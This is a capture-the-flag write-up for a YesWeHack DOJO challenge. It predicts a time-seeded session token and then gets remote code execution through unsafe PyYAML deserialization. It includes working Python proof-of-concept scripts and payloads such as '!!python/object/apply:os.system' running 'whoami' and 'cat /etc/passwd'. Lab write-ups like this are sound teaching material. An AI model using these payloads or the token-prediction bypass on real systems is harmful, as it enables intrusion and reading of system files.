Remote Code Execution via Unsafe YAML Deserialization with Token Bypass - DOJO 43

By reviewing the Python code, we see that for our token to be valid, it must be the same as the token generated by the server.

import random
import time

def genToken(seed:str) -> str:
    random.seed(seed)
    return ''.join(random.choices('abcdef0123456789', k=16))

tokenRoot = genToken(int(time.time()) // 1)
print(f"TOKEN: {tokenRoot} --> TIME: {int(time.time()) // 1}")

To replicate the behavior when generating the cookie, we can create a small script. By running the script several times, we can see that there’s a range in which the same session cookie is generated, due to the poor implementation of time.

import requests
import random
import time
import json

def genToken(seed:str) -> str:
    random.seed(seed)
    return ''.join(random.choices('abcdef0123456789', k=16))


url = "https://dojo-yeswehack.com:443/api/challenges/285cec14-a511-4567-93f5-e709b0eaf9b9"
cookies = {"jwt": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI4YjBmZGY5My0yYWIzLTRiODktODAyZi1hYzdhZjhiOGQ4YTciLCJpc0FkbWluIjpmYWxzZSwib2F1dGgiOnRydWUsImlhdCI6MTc1NDI0NzkxOCwiZXhwIjoxNzU0ODUyNzE4fQ.KSTjnAOPUbwpMXdCEQfcKV8Jek2RsuG4zM7FuhhU4-4"}

tokenRoot = genToken(int(time.time()) // 1)
data = {"yaml": 'testing', "token": tokenRoot}
req=requests.post(url, cookies=cookies, data=data)

if "Unauthorized" not in req.text:
	try:
		raw=req.text
		parsed=json.loads(raw)
		print(parsed['output'])
	except:
		pass     
python3 cookie_poc.py > index.html
python3 -m http.server 80

By replicating the result from our script on our own HTTP server, we can see that we’ve successfully bypassed the session token.

!!python/object/apply:os.system ["whoami"]

Once we gained access to the firmware update function, we reviewed the code and saw that it uses the ‘yaml.load()’ function, which is vulnerable to Code Execution via Unsafe YAML Deserialization.

import requests
import random
import time
import json
from bs4 import BeautifulSoup

def genToken(seed:str) -> str:
    random.seed(seed)
    return ''.join(random.choices('abcdef0123456789', k=16))



url = "https://dojo-yeswehack.com:443/api/challenges/285cec14-a511-4567-93f5-e709b0eaf9b9"
cookies = {"jwt": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOiI4YjBmZGY5My0yYWIzLTRiODktODAyZi1hYzdhZjhiOGQ4YTciLCJpc0FkbWluIjpmYWxzZSwib2F1dGgiOnRydWUsImlhdCI6MTc1NDI0NzkxOCwiZXhwIjoxNzU0ODUyNzE4fQ.KSTjnAOPUbwpMXdCEQfcKV8Jek2RsuG4zM7FuhhU4-4"}

tokenRoot = genToken(int(time.time()) // 1)
data = {"yaml": '!!python/object/apply:os.system ["cat /etc/passwd"]', "token": tokenRoot}
req=requests.post(url, cookies=cookies, data=data)

if "Unauthorized" not in req.text:
	try:
		raw=req.text
		parsed=json.loads(raw)
		print(parsed['output'])
	except:
		pass
python3 poc.py

To achieve RCE, it’s necessary to send a request with the token bypass and the payload in the ‘yaml’ field.

Flag

Once we’re able to execute arbitrary commands within the system, we can retrieve the flag at the end of the request.